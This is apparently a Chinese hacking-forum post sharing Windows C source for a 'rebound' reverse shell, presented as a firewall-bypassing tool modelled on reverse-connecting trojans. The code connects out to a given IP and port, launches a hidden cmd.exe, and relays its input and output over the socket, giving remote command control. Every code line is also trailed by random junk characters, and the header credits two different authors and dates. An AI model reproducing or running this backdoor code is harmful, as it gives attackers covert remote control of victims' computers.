这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q2Uk0:M
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/* ============================== :z|$K^)7Z
Rebound port in Windows NT V_|HzYJJ5
By wind,2006/7 `H^
H#W
===============================*/ jDj=a->e^
#include ?4R q +
#include OXX D}-t
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#pragma comment(lib,"wsock32.lib") avXBCvP+h
+hH7|:JQ
void OutputShell(); ";n%^I}
SOCKET sClient; j1ap,<\.k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /u"Iq8QA
1D~B\=LL}
void main(int argc,char **argv) x"Ij+~i{l
{ s(MdjWw
WSADATA stWsaData; R F;u1vEQ8
int nRet; \z.p [;'ir
SOCKADDR_IN stSaiClient,stSaiServer; >R\@W(-g`
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if(argc != 3) c-Qa0Q
{ Z_T~2t
printf("Useage:\n\rRebound DestIP DestPort\n"); &Mz.i,Gh
return; ZCfd<NS?
} h{?f
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WSAStartup(MAKEWORD(2,2),&stWsaData); |CBJ8],mT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;*20b@
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stSaiClient.sin_family = AF_INET; BbzIQg:
stSaiClient.sin_port = htons(0); P>|sCF
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Maiy d
#"o`'5
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AJP-7PPD
{ _Vr}ipx-k
printf("Bind Socket Failed!\n"); +^4HCyW
return; Q:Y`^jP
} 1L3 $h0i
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stSaiServer.sin_family = AF_INET; A5G@u}YS5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ORfMp'uP=
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h>/L4j*Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) krXU*64
{ :&s8G*
printf("Connect Error!"); 9}d^ll&
return; W{kTM4
} 9['>$ON
OutputShell(); y*I,i*iv
} 2(Nf$?U@0
' KNg;
void OutputShell() BR~+CBH
{ Q+E)_5_sA
char szBuff[1024]; $,1KD3;+]
SECURITY_ATTRIBUTES stSecurityAttributes; hOm0ND?;1
OSVERSIONINFO stOsversionInfo; p4Xhs@.k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (i]0IYMXy*
STARTUPINFO stStartupInfo; k,r}X:<6jz
char *szShell; iDlg>UYd
PROCESS_INFORMATION stProcessInformation; )79F"ltzh
unsigned long lBytesRead; |eej}G(,m}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j|y"Lcq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); - QQU>_
stSecurityAttributes.lpSecurityDescriptor = 0; fvoPV&:
stSecurityAttributes.bInheritHandle = TRUE; a &hj|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <A]
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (KphAA8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8?t}S2n2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V}q=!zz
stStartupInfo.wShowWindow = SW_HIDE; Yg]!`(db
stStartupInfo.hStdInput = hReadPipe; xGK"`\V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fr,b5 M<L7
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GetVersionEx(&stOsversionInfo); U5H5QW +
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switch(stOsversionInfo.dwPlatformId) PkDh[i9Z|
{ fZ pUnc
case 1: UphZRgT!N
szShell = "command.com"; +HY.m+T
break; ?4lEHef
default:
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szShell = "cmd.exe"; :n$?wp
break; gPy}.g{tH$
} UAtdRVi]M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r?=3TAA
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send(sClient,szMsg,77,0); 4Kn)5>
while(1) nbSu|sX~r5
{ 6G?7>M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w(R+p/RF
if(lBytesRead) $WZHkV
{ -|/*S]6kK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C)+%9Edg
send(sClient,szBuff,lBytesRead,0); MK, $#
} UJrN+RtL
else lgh+\pj
{ (Z at|R.F
lBytesRead=recv(sClient,szBuff,1024,0); pL{:8Ed
if(lBytesRead<=0) break; ^1z)\p1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jo[U6t+pj7
} QhmOO-Z?
} @z7$1pl}
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return; Z}$1~uyw
}